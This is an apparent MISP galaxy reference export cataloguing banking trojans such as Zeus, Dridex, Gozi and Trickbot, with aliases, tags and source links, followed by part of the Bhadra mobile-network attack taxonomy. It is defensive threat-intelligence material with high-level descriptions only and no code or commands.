authors: Unknown - raw-data

Zeus

Zeus is a trojan horse that is primarily delivered via drive-by-downloads, malvertising, exploit kits and malspam campaigns. It uses man-in-the-browser keystroke logging and form grabbing to steal information from victims. Source was leaked in 2011.

The tag is: misp-galaxy:banker="Zeus"

Zeus is also known as:

Zbot

Zeus has relationships with:

similar: misp-galaxy:tool="Zeus" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:botnet="Zeus" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Zeus" with estimative-language:likelihood-probability="likely"

Table 443. Table References
Links
https://usa.kaspersky.com/resource-center/threats/zeus-virus

Vawtrak

Delivered primarily by exploit kits as well as malspam campaigns utilizing macro based Microsoft Office documents as attachments. Vawtrak/Neverquest is a modularized banking trojan designed to steal credentials through harvesting, keylogging, Man-In-The-Browser, etc.

The tag is: misp-galaxy:banker="Vawtrak"

Vawtrak is also known as:

Neverquest

Vawtrak has relationships with:

similar: misp-galaxy:tool="Vawtrak" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Vawtrak" with estimative-language:likelihood-probability="likely"

Table 444. Table References
Links
https://www.kaspersky.com/blog/neverquest-trojan-built-to-steal-from-hundreds-of-banks/3247/
https://www.fidelissecurity.com/threatgeek/2016/05/vawtrak-trojan-bank-it-evolving
https://www.proofpoint.com/us/threat-insight/post/In-The-Shadows
https://www.botconf.eu/wp-content/uploads/2016/11/2016-Vawtrak-technical-report.pdf

Dridex

Dridex leverages redirection attacks designed to send victims to malicious replicas of the banking sites they think they're visiting.

The tag is: misp-galaxy:banker="Dridex"

Dridex is also known as:

Feodo Version D
Cridex

Dridex has relationships with:

similar: misp-galaxy:tool="Dridex" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Dridex" with estimative-language:likelihood-probability="likely"

Table 445. Table References
Links
https://blog.malwarebytes.com/detections/trojan-dridex/
https://feodotracker.abuse.ch/

Gozi

Banking trojan delivered primarily via email (typically malspam) and exploit kits. Gozi 1.0 source leaked in 2010

The tag is: misp-galaxy:banker="Gozi"

Gozi is also known as:

Ursnif
CRM
Snifula
Papras

Gozi has relationships with:

similar: misp-galaxy:tool="Snifula" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Gozi" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Snifula" with estimative-language:likelihood-probability="likely"

Table 446. Table References
Links
https://www.secureworks.com/research/gozi
https://www.gdatasoftware.com/blog/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007
https://lokalhost.pl/gozi_tree.txt

Goziv2

Banking trojan attributed to Project Blitzkrieg targeting U.S. Financial institutions.

The tag is: misp-galaxy:banker="Goziv2"

Goziv2 is also known as:

Prinimalka

Table 447. Table References
Links
https://krebsonsecurity.com/tag/gozi-prinimalka/
https://securityintelligence.com/project-blitzkrieg-how-to-block-the-planned-prinimalka-gozi-trojan-attack/
https://lokalhost.pl/gozi_tree.txt

Gozi ISFB

Banking trojan based on Gozi source. Features include web injects for the victims’ browsers, screenshoting, video recording, transparent redirections, etc. Source leaked ~ end of 2015.

The tag is: misp-galaxy:banker="Gozi ISFB"

Gozi ISFB has relationships with:

similar: misp-galaxy:malpedia="ISFB" with estimative-language:likelihood-probability="likely"

Table 448. Table References
Links
https://www.govcert.admin.ch/blog/18/gozi-isfb-when-a-bug-really-is-a-feature
https://blog.malwarebytes.com/threat-analysis/2017/04/binary-options-malvertising-campaign-drops-isfb-banking-trojan/
https://info.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak
https://lokalhost.pl/gozi_tree.txt

Dreambot

Dreambot is a variant of Gozi ISFB that is spread via numerous exploit kits as well as through malspam email attachments and links.

The tag is: misp-galaxy:banker="Dreambot"

Table 449. Table References
Links
https://blog.malwarebytes.com/threat-analysis/2017/04/binary-options-malvertising-campaign-drops-isfb-banking-trojan/
https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality
https://lokalhost.pl/gozi_tree.txt

IAP

Gozi ISFB variant

The tag is: misp-galaxy:banker="IAP"

IAP has relationships with:

similar: misp-galaxy:malpedia="ISFB" with estimative-language:likelihood-probability="likely"

Table 450. Table References
Links
https://lokalhost.pl/gozi_tree.txt
http://archive.is/I7hi8#selection-217.0-217.6

GozNym

GozNym hybrid takes the best of both the Nymaim and Gozi ISFB. From the Nymaim malware, it leverages the dropper’s stealth and persistence; the Gozi ISFB parts add the banking Trojan’s capabilities to facilitate fraud via infected Internet browsers.

The tag is: misp-galaxy:banker="GozNym"

Table 451. Table References
Links
https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/
https://lokalhost.pl/gozi_tree.txt

Zloader Zeus

Zloader is a loader that loads different payloads, one of which is a Zeus module. Delivered via exploit kits and malspam emails.

The tag is: misp-galaxy:banker="Zloader Zeus"

Zloader Zeus is also known as:

Zeus Terdot

Zloader Zeus has relationships with:

similar: misp-galaxy:malpedia="Zloader" with estimative-language:likelihood-probability="likely"

Table 452. Table References
Links
https://blog.threatstop.com/zloader/terdot-that-man-in-the-middle
https://www.scmagazine.com/terdot-zloaderzbot-combo-abuses-certificate-app-to-pull-off-mitm-browser-attacks/article/634443/

Zeus VM

Zeus variant that utilizes steganography in image files to retrieve configuration file.

The tag is: misp-galaxy:banker="Zeus VM"

Zeus VM is also known as:

VM Zeus

Zeus VM has relationships with:

similar: misp-galaxy:malpedia="VM Zeus" with estimative-language:likelihood-probability="likely"

Table 453. Table References
Links
https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/
https://securityintelligence.com/new-zberp-trojan-discovered-zeus-zbot-carberp/

Zeus Sphinx

Sphinx is a modular banking trojan that is a commercial offering sold to cybercriminals via underground fraudster boards.

The tag is: misp-galaxy:banker="Zeus Sphinx"

Zeus Sphinx has relationships with:

similar: misp-galaxy:malpedia="Zeus Sphinx" with estimative-language:likelihood-probability="likely"

Table 454. Table References
Links
https://securityintelligence.com/brazil-cant-catch-a-break-after-panda-comes-the-sphinx/

Panda Banker

Zeus like banking trojan that is delivered primarily through malspam emails and exploit kits.

The tag is: misp-galaxy:banker="Panda Banker"

Panda Banker is also known as:

Zeus Panda

Table 455. Table References
Links
https://www.proofpoint.com/us/threat-insight/post/panda-banker-new-banking-trojan-hits-the-market
https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf
https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-holiday-shoppers

Zeus KINS

Zeus KINS is a modified version of ZeuS 2.0.8.9. It contains an encrypted version of it’s config in the registry.

The tag is: misp-galaxy:banker="Zeus KINS"

Zeus KINS is also known as:

Kasper Internet Non-Security
Maple

Zeus KINS has relationships with:

similar: misp-galaxy:malpedia="KINS" with estimative-language:likelihood-probability="likely"

Table 456. Table References
Links
https://securityintelligence.com/zeus-maple-variant-targets-canadian-online-banking-customers/
https://github.com/nyx0/KINS

Chthonic

Chthonic according to Kaspersky is an evolution of Zeus VM. It uses the same encryptor as Andromeda bot, the same encryption scheme as Zeus AES and Zeus V2 Trojans, and a virtual machine similar to that used in ZeusVM and KINS malware.

The tag is: misp-galaxy:banker="Chthonic"

Chthonic is also known as:

Chtonic

Chthonic has relationships with:

similar: misp-galaxy:malpedia="Chthonic" with estimative-language:likelihood-probability="likely"

Table 457. Table References
Links
https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan
https://securelist.com/chthonic-a-new-modification-of-zeus/68176/

Trickbot

Trickbot is a bot that is delivered via exploit kits and malspam campaigns. The bot is capable of downloading modules, including a banker module. Trickbot also shares roots with the Dyre banking trojan

The tag is: misp-galaxy:banker="Trickbot"

Trickbot is also known as:

Trickster
Trickloader

Trickbot has relationships with:

similar: misp-galaxy:tool="Trick Bot" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="TrickBot" with estimative-language:likelihood-probability="likely"

Table 458. Table References
Links
https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/
https://blog.malwarebytes.com/threat-analysis/2017/08/trickbot-comes-with-new-tricks-attacking-outlook-and-browsing-data/
http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/trickbots-bag-of-tricks.html
https://www.flashpoint-intel.com/blog/new-version-trickbot-adds-worm-propagation-module/
https://www.bleepingcomputer.com/news/security/trickbot-banking-trojan-starts-stealing-windows-problem-history/

Dyre

Dyre is a banking trojan distributed via exploit kits and malspam emails primarily. It has a modular architectur and utilizes man-in-the-browser functionality. It also leverages a backconnect server that allows threat actors to connect to a bank website through the victim’s computer.

The tag is: misp-galaxy:banker="Dyre"

Dyre is also known as:

Dyreza

Dyre has relationships with:

similar: misp-galaxy:mitre-malware="Dyre - S0024" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Dyre" with estimative-language:likelihood-probability="likely"

Table 459. Table References
Links
https://www.secureworks.com/research/dyre-banking-trojan
https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/

Tinba

Tinba is a very small banking trojan that hooks into browsers and steals login data and sniffs on network traffic. It also uses Man in The Browser (MiTB) and webinjects. Tinba is primarily delivered via exploit kits, malvertising and malspam email campaigns.

The tag is: misp-galaxy:banker="Tinba"

Tinba is also known as:

Zusy
TinyBanker
illi

Tinba has relationships with:

similar: misp-galaxy:tool="Tinba" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Tinba" with estimative-language:likelihood-probability="likely"

Table 460. Table References
Links
https://securityblog.switch.ch/2015/06/18/so-long-and-thanks-for-all-the-domains/
http://securityintelligence.com/tinba-malware-reloaded-and-attacking-banks-around-the-world/
https://blog.avast.com/2014/09/15/tiny-banker-trojan-targets-customers-of-major-banks-worldwide/
http://my.infotex.com/tiny-banker-trojan/

Geodo

Geodo is a banking trojan delivered primarily through malspam emails. It is capable of sniffing network activity to steal information by hooking certain network API calls.

The tag is: misp-galaxy:banker="Geodo"

Geodo is also known as:

Feodo Version C
Emotet

Geodo has relationships with:

similar: misp-galaxy:tool="Emotet" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Emotet" with estimative-language:likelihood-probability="likely"

Table 461. Table References
Links
https://feodotracker.abuse.ch/
http://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/
https://www.bleepingcomputer.com/news/security/emotet-banking-trojan-loves-usa-internet-providers/
https://www.bleepingcomputer.com/news/security/emotet-returns-with-thanksgiving-theme-and-better-phishing-tricks/
https://www.forcepoint.com/blog/security-labs/thanks-giving-emotet
https://cofense.com/major-us-financial-institutions-imitated-advanced-geodo-emotet-phishing-lures-appear-authentic-containing-proofpoint-url-wrapped-links/

Feodo

Feodo is a banking trojan that utilizes web injects and is also capable of monitoring & manipulating cookies. Version A = Port 8080, Version B = Port 80 It is delivered primarily via exploit kits and malspam emails.

The tag is: misp-galaxy:banker="Feodo"

Feodo is also known as:

Bugat
Cridex

Feodo has relationships with:

similar: misp-galaxy:tool="Dridex" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Feodo" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Bugat" with estimative-language:likelihood-probability="likely"

Table 462. Table References
Links
https://securelist.com/dridex-a-history-of-evolution/78531/
https://feodotracker.abuse.ch/
http://stopmalvertising.com/rootkits/analysis-of-cridex.html

Ramnit

Originally not a banking trojan in 2010, Ramnit became a banking trojan after the Zeus source code leak. It is capable of perforrming Man-in-the-Browser attacks. Distributed primarily via exploit kits.

The tag is: misp-galaxy:banker="Ramnit"

Ramnit is also known as:

Nimnul

Ramnit has relationships with:

similar: misp-galaxy:botnet="Ramnit" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Ramnit" with estimative-language:likelihood-probability="likely"

Table 463. Table References
Links
https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/

Qakbot

Qakbot is a banking trojan that leverages webinjects to steal banking information from victims. It also utilizes DGA for command and control. It is primarily delivered via exploit kits.

The tag is: misp-galaxy:banker="Qakbot"

Qakbot is also known as:

Qbot
Pinkslipbot
Akbot

Qakbot has relationships with:

similar: misp-galaxy:tool="Akbot" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="QakBot" with estimative-language:likelihood-probability="likely"

Table 464. Table References
Links
https://securityintelligence.com/qakbot-banking-trojan-causes-massive-active-directory-lockouts/
https://www.johannesbader.ch/2016/02/the-dga-of-qakbot/
https://www.virusbulletin.com/uploads/pdf/magazine/2016/VB2016-Karve-etal.pdf

Corebot

Corebot is a modular trojan that leverages a banking module that can perform browser hooking, form grabbing, MitM, webinjection to steal financial information from victims. Distributed primarily via malspam emails and exploit kits.

The tag is: misp-galaxy:banker="Corebot"

Corebot has relationships with:

similar: misp-galaxy:malpedia="Corebot" with estimative-language:likelihood-probability="likely"

Table 465. Table References
Links
https://securityintelligence.com/an-overnight-sensation-corebot-returns-as-a-full-fledged-financial-malware/
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/02/ASERT-Threat-Intelligence-Brief-2016-02-Corebot-1.pdf
https://malwarebreakdown.com/2017/09/11/re-details-malspam-downloads-corebot-banking-trojan/

TinyNuke

TinyNuke is a modular banking trojan that includes a HiddenDesktop/VNC server and reverse SOCKS 4 server. It’s main functionality is to make web injections into specific pages to steal user data. Distributed primarily via malspam emails and exploit kits.

The tag is: misp-galaxy:banker="TinyNuke"

TinyNuke is also known as:

NukeBot
Nuclear Bot
MicroBankingTrojan
Xbot

TinyNuke has relationships with:

similar: misp-galaxy:mitre-tool="Xbot - S0298" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Xbot" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="TinyNuke" with estimative-language:likelihood-probability="likely"

Table 466. Table References
Links
https://securelist.com/the-nukebot-banking-trojan-from-rough-drafts-to-real-threats/78957/
https://www.arbornetworks.com/blog/asert/dismantling-nuclear-bot/
https://securityintelligence.com/the-nukebot-trojan-a-bruised-ego-and-a-surprising-source-code-leak/
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4596
https://benkowlab.blogspot.ca/2017/08/quick-look-at-another-alina-fork-xbot.html

Retefe

Retefe is a banking trojan that is distributed by what SWITCH CERT calls the Retefe gang or Operation Emmental. It uses geolocation based targeting. It also leverages fake root certificate and changes the DNS server for domain name resolution in order to display fake banking websites to victims. It is spread primarily through malspam emails.

The tag is: misp-galaxy:banker="Retefe"

Retefe is also known as:

Tsukuba
Werdlod

Retefe has relationships with:

similar: misp-galaxy:malpedia="Retefe (Android)" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Dok" with estimative-language:likelihood-probability="likely"

Table 467. Table References
Links
https://www.govcert.admin.ch/blog/33/the-retefe-saga
https://threatpost.com/eternalblue-exploit-used-in-retefe-banking-trojan-campaign/128103/
https://countuponsecurity.com/2016/02/29/retefe-banking-trojan/
https://securityblog.switch.ch/2014/11/05/retefe-with-a-new-twist/
http://securityintelligence.com/tsukuba-banking-trojan-phishing-in-japanese-waters/

ReactorBot

ReactorBot is sometimes mistakenly tagged as Rovnix. ReactorBot is a full fledged modular bot that includes a banking module that has roots with the Carberp banking trojan. Distributed primarily via malspam emails.

The tag is: misp-galaxy:banker="ReactorBot"

ReactorBot has relationships with:

similar: misp-galaxy:malpedia="ReactorBot" with estimative-language:likelihood-probability="likely"

Table 468. Table References
Links
http://www.malwaredigger.com/2015/06/rovnix-payload-and-plugin-analysis.html
https://www.symantec.com/connect/blogs/new-carberp-variant-heads-down-under
http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html
http://blog.trendmicro.com/trendlabs-security-intelligence/rovnix-infects-systems-with-password-protected-macros/

Matrix Banker

Matrix Banker is named accordingly because of the Matrix reference in it’s C2 panel. Distributed primarily via malspam emails.

The tag is: misp-galaxy:banker="Matrix Banker"

Matrix Banker has relationships with:

similar: misp-galaxy:malpedia="Matrix Banker" with estimative-language:likelihood-probability="likely"

Table 469. Table References
Links
https://www.arbornetworks.com/blog/asert/another-banker-enters-matrix/

Zeus Gameover

Zeus Gameover captures banking credentials from infected computers, then use those credentials to initiate or re-direct wire transfers to accounts overseas that are controlled by the criminals. GameOver has a decentralized, peer-to-peer command and control infrastructure rather than centralized points of origin. Distributed primarily via malspam emails and exploit kits.

The tag is: misp-galaxy:banker="Zeus Gameover"

Table 470. Table References
Links
https://heimdalsecurity.com/blog/zeus-gameover/
https://www.us-cert.gov/ncas/alerts/TA14-150A

SpyEye

SpyEye is a similar to the Zeus botnet banking trojan. It utilizes a web control panel for C2 and can perform form grabbing, autofill credit card modules, ftp grabber, pop3 grabber and HTTP basic access authorization grabber. It also contained a Kill Zeus feature which would remove any Zeus infections if SpyEye was on the system. Distributed primarily via exploit kits and malspam emails.

The tag is: misp-galaxy:banker="SpyEye"

Table 471. Table References
Links
https://www.ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
https://www.computerworld.com/article/2509482/security0/spyeye-trojan-defeating-online-banking-defenses.html
https://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot

Citadel

Citadel is an offspring of the Zeus banking trojan. Delivered primarily via exploit kits.

The tag is: misp-galaxy:banker="Citadel"

Citadel has relationships with:

similar: misp-galaxy:malpedia="Citadel" with estimative-language:likelihood-probability="likely"

Table 472. Table References
Links
https://blog.malwarebytes.com/threat-analysis/2012/11/citadel-a-cyber-criminals-ultimate-weapon/
https://krebsonsecurity.com/tag/citadel-trojan/
https://securityintelligence.com/cybercriminals-use-citadel-compromise-password-management-authentication-solutions/

Atmos

Atmos is derived from the Citadel banking trojan. Delivered primarily via exploit kits and malspam emails.

The tag is: misp-galaxy:banker="Atmos"

Table 473. Table References
Links
https://heimdalsecurity.com/blog/security-alert-citadel-trojan-resurfaces-atmos-zeus-legacy/
http://www.xylibox.com/2016/02/citadel-0011-atmos.html

Ice IX

Ice IX is a bot created using the source code of ZeuS 2.0.8.9. No major improvements compared to ZeuS 2.0.8.9.

The tag is: misp-galaxy:banker="Ice IX"

Ice IX has relationships with:

similar: misp-galaxy:malpedia="Ice IX" with estimative-language:likelihood-probability="likely"

Table 474. Table References
Links
https://securelist.com/ice-ix-not-cool-at-all/29111/ [https://securelist.com/ice-ix-not-cool-at-all/29111/ ]

Zitmo

Zeus in the mobile. Banking trojan developed for mobile devices such as Windows Mobile, Blackberry and Android.

The tag is: misp-galaxy:banker="Zitmo"

Table 475. Table References
Links
https://securelist.com/zeus-in-the-mobile-for-android-10/29258/

Licat

Banking trojan based on Zeus V2. Murofet is a newer version of Licat found ~end of 2011

The tag is: misp-galaxy:banker="Licat"

Licat is also known as:

Murofet

Licat has relationships with:

similar: misp-galaxy:malpedia="Murofet" with estimative-language:likelihood-probability="likely"

Table 476. Table References
Links
https://johannesbader.ch/2015/09/three-variants-of-murofets-dga/
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_LICAT.A
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Virus%3aWin32%2fMurofet.A

Skynet

Skynet is a Tor-powered trojan with DDoS, Bitcoin mining and Banking capabilities. Spread via USENET as per rapid7.

The tag is: misp-galaxy:banker="Skynet"

Table 477. Table References
Links
https://blog.rapid7.com/2012/12/06/skynet-a-tor-powered-botnet-straight-from-reddit/

IcedID

According to X-Force research, the new banking Trojan emerged in the wild in September 2017, when its first test campaigns were launched. Our researchers noted that IcedID has a modular malicious code with modern banking Trojan capabilities comparable to malware such as the Zeus Trojan. At this time, the malware targets banks, payment card providers, mobile services providers, payroll, webmail and e-commerce sites in the U.S. Two major banks in the U.K. are also on the target list the malware fetches.

The tag is: misp-galaxy:banker="IcedID"

IcedID has relationships with:

similar: misp-galaxy:malpedia="IcedID" with estimative-language:likelihood-probability="likely"

Table 478. Table References
Links
https://www.bleepingcomputer.com/news/security/new-icedid-banking-trojan-discovered/
https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/
http://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html

GratefulPOS

GratefulPOS has the following functions 1. Access arbitrary processes on the target POS system 2. Scrape track 1 and 2 payment card data from the process(es) 3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.

The tag is: misp-galaxy:banker="GratefulPOS"

GratefulPOS has relationships with:

similar: misp-galaxy:tool="GratefulPOS" with estimative-language:likelihood-probability="likely"

Table 479. Table References
Links
https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season

Dok

A macOS banking trojan that that redirects an infected user’s web traffic in order to extract banking credentials.

The tag is: misp-galaxy:banker="Dok"

Dok has relationships with:

similar: misp-galaxy:malpedia="Retefe (Android)" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Dok" with estimative-language:likelihood-probability="likely"

Table 480. Table References
Links
https://objective-see.com/blog/blog_0x25.html#Dok

downAndExec

Services like Netflix use content delivery networks (CDNs) to maximize bandwidth usage as it gives users greater speed when viewing the content, as the server is close to them and is part of the Netflix CDN. This results in faster loading times for series and movies, wherever you are in the world. But, apparently, the CDNs are starting to become a new way of spreading malware. The attack chain is very extensive, and incorporates the execution of remote scripts (similar in some respects to the recent “fileless” banking malware trend), plus the use of CDNs for command and control (C&C), and other standard techniques for the execution and protection of malware.

The tag is: misp-galaxy:banker="downAndExec"

Table 481. Table References
Links
https://www.welivesecurity.com/2017/09/13/downandexec-banking-malware-cdns-brazil/

Smominru

Since the end of May 2017, we have been monitoring a Monero miner that spreads using the EternalBlue Exploit (CVE-2017-0144). The miner itself, known as Smominru (aka Ismo) has been well-documented, so we will not discuss its post-infection behavior. However, the miner’s use of Windows Management Infrastructure is unusual among coin mining malware. The speed at which mining operations conduct mathematical operations to unlock new units of cryptocurrency is referred to as “hash power”. Based on the hash power associated with the Monero payment address for this operation, it appeared that this botnet was likely twice the size of Adylkuzz. The operators had already mined approximately 8,900 Monero (valued this week between $2.8M and $3.6M). Each day, the botnet mined roughly 24 Monero, worth an average of $8,500 this week.

The tag is: misp-galaxy:banker="Smominru"

Smominru is also known as:

Ismo
lsmo

Smominru has relationships with:

similar: misp-galaxy:malpedia="Smominru" with estimative-language:likelihood-probability="likely"

Table 482. Table References
Links
https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators

DanaBot

It’s a Trojan that includes banking site web injections and stealer functions. It consists of a downloader component that downloads an encrypted file containing the main DLL. The DLL, in turn, connects using raw TCP connections to port 443 and downloads additional modules (i.e. VNCDLL.dll, StealerDLL.dll, ProxyDLL.dll)

The tag is: misp-galaxy:banker="DanaBot"

DanaBot has relationships with:

similar: misp-galaxy:malpedia="DanaBot" with estimative-language:likelihood-probability="likely"

Table 483. Table References
Links
https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0
https://www.bleepingcomputer.com/news/security/danabot-banking-malware-now-targeting-banks-in-the-us/

Backswap

The banker is distributed through malicious email spam campaigns. Instead of using complex process injection methods to monitor browsing activity, the malware hooks key Windows message loop events in order to inspect values of the window objects for banking activity. The payload is delivered as a modified version of a legitimate application that is partially overwritten by the malicious payload

The tag is: misp-galaxy:banker="Backswap"

Table 484. Table References
Links
https://www.cert.pl/news/single/analiza-zlosliwego-oprogramowania-backswap/
https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/

Bebloh

The tag is: misp-galaxy:banker="Bebloh"

Bebloh is also known as:

URLZone
Shiotob

Bebloh has relationships with:

similar: misp-galaxy:malpedia="UrlZone" with estimative-language:likelihood-probability="likely"

Table 485. Table References
Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Bebloh.A
https://www.symantec.com/security-center/writeup/2011-041411-0912-99

Banjori

The tag is: misp-galaxy:banker="Banjori"

Banjori is also known as:

MultiBanker 2
BankPatch
BackPatcher

Banjori has relationships with:

similar: misp-galaxy:malpedia="Banjori" with estimative-language:likelihood-probability="likely"

Table 486. Table References
Links
https://www.johannesbader.ch/2015/02/the-dga-of-banjori/

Qadars

The tag is: misp-galaxy:banker="Qadars"

Qadars has relationships with:

similar: misp-galaxy:malpedia="Qadars" with estimative-language:likelihood-probability="likely"

Table 487. Table References
Links
https://www.countercept.com/our-thinking/decrypting-qadars-banking-trojan-c2-traffic/

Sisron

The tag is: misp-galaxy:banker="Sisron"

Table 488. Table References
Links
https://www.johannesbader.ch/2016/06/the-dga-of-sisron/

Ranbyus

The tag is: misp-galaxy:banker="Ranbyus"

Ranbyus has relationships with:

similar: misp-galaxy:malpedia="Ranbyus" with estimative-language:likelihood-probability="likely"

Table 489. Table References
Links
https://www.johannesbader.ch/2016/06/the-dga-of-sisron/

Fobber

The tag is: misp-galaxy:banker="Fobber"

Fobber has relationships with:

similar: misp-galaxy:malpedia="Fobber" with estimative-language:likelihood-probability="likely"

Table 490. Table References
Links
https://searchfinancialsecurity.techtarget.com/news/4500249201/Fobber-Drive-by-financial-malware-returns-with-new-tricks

Karius

Trojan under development and already being distributed through the RIG Exploit Kit. Observed code similarities with other well-known bankers such as Ramnit, Vawtrak and TrickBot. Karius works in a rather traditional fashion to other banking malware and consists of three components (injector32\64.exe, proxy32\64.dll and mod32\64.dll), these components essentially work together to deploy webinjects in several browsers.

The tag is: misp-galaxy:banker="Karius"

Karius has relationships with:

similar: misp-galaxy:malpedia="Karius" with estimative-language:likelihood-probability="likely"

Table 491. Table References
Links
https://research.checkpoint.com/banking-trojans-development/

Kronos

Kronos was a type of banking malware first reported in 2014. It was sold for $7000. As of September 2015, a renew version was reconnecting with infected bots and sending them a brand new configuration file against U.K. banks and one bank in India. Similar to Zeus it was focused on stealing banking login credentials from browser sessions. A new version of this malware appears to have been used in 2018, the main difference is that the 2018 edition uses Tor-hosted C&C control panels.

The tag is: misp-galaxy:banker="Kronos"

Kronos has relationships with:

similar: misp-galaxy:malpedia="Kronos" with estimative-language:likelihood-probability="likely"

Table 492. Table References
Links
https://en.wikipedia.org/wiki/Kronos_(malware)
https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware
https://www.bleepingcomputer.com/news/security/new-version-of-the-kronos-banking-trojan-discovered/

CamuBot

A newly discovered banking Trojan departs from the regular tactics observed by malware researchers by choosing visible installation and by adding social engineering components. CamuBot appeared last month in Brazil targeting companies and organizations from the public sector. The victim is the one installing the malware, at the instructions of a human operator that pretends to be a bank employee.

The tag is: misp-galaxy:banker="CamuBot"

CamuBot has relationships with:

similar: misp-galaxy:malpedia="CamuBot" with estimative-language:likelihood-probability="likely"

Table 493. Table References
Links
https://www.bleepingcomputer.com/news/security/new-banking-trojan-poses-as-a-security-module/ [https://www.bleepingcomputer.com/news/security/new-banking-trojan-poses-as-a-security-module/ ]

Dark Tequila

Dark Tequila has primarily been designed to steal victims’ financial information from a long list of online banking sites, as well as login credentials to popular websites, ranging from code versioning repositories to public file storage accounts and domain registrars.

The tag is: misp-galaxy:banker="Dark Tequila"

Table 494. Table References
Links
https://thehackernews.com/2018/08/mexico-banking-malware.html

Bhadra Framework

Bhadra Threat Modeling Framework.

Bhadra Framework is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: Siddharth Prakash Rao - Silke Holtmanns - Tuomas Aura

Attacks from UE

"Attacks from UE" refers to any technique that involves the attacks launched by the software or hardware components of the user equipment to send malicious traffic into the mobile network.

The tag is: misp-galaxy:bhadra-framework="Attacks from UE"

SIM-based attacks

The "SIM-based attacks" are the techniques that involve any physical smart cards, namely SIM from 2G, USIM from 3G, and UICC from 4G networks.

The tag is: misp-galaxy:bhadra-framework="SIM-based attacks"

Attacks from radio access network

The "attacks from radio access network" are the techniques where an adversary with radio capabilities impersonates the mobile network to the UE (or vice versa) and becomes a man-in-the-middle.

The tag is: misp-galaxy:bhadra-framework="Attacks from radio access network"

Attacks from other mobile network

The "attacks from other mobile networks" and the "attacks with physical access to transport network" techniques can be conducted by evil mobile operators, law enforcement agencies for legal interception and human insiders with access to network nodes

The tag is: misp-galaxy:bhadra-framework="Attacks from other mobile network"

Attacks with access to transport network

The tag is: misp-galaxy:bhadra-framework="Attacks with access to transport network"

Attacks from IP-based network

The "attacks from IP-based attacks" techniques mostly are launched from the service and application network, which allows non operator entities to infuse malicious trac into an operator’s network.

The tag is: misp-galaxy:bhadra-framework="Attacks from IP-based network"

Insider attacks and human errors

The "insider attacks and human errors" technique involve the intentional attacks and unintentional mistakes from human insiders with access to any component of the mobile communication ecosystem.

The tag is: misp-galaxy:bhadra-framework="Insider attacks and human errors"

Infecting UE hardware or software

Retaining the foothold gained on the target system through the initial access by infecting UE hardware or software.

The tag is: misp-galaxy:bhadra-framework="Infecting UE hardware or software"

Infecting SIM cards

Retaining the foothold gained on the target system through the initial access by infecting SIM cards.

The tag is: misp-galaxy:bhadra-framework="Infecting SIM cards"

Spoofed radio network

Retaining the foothold gained on the target system through the initial access by radio network spoofing.

The tag is: misp-galaxy:bhadra-framework="Spoofed radio network"

Infecting network nodes

Retaining the foothold gained on the target system through the initial access by infecting network nodes.

The tag is: misp-galaxy:bhadra-framework="Infecting network nodes"

Covert channels

Retaining the foothold gained on the target system through the initial access via covert channels.

The tag is: misp-galaxy:bhadra-framework="Covert channels"

Port scanning or sweeping

"Port scanning or sweeping" techniques to probe servers or hosts with open ports.

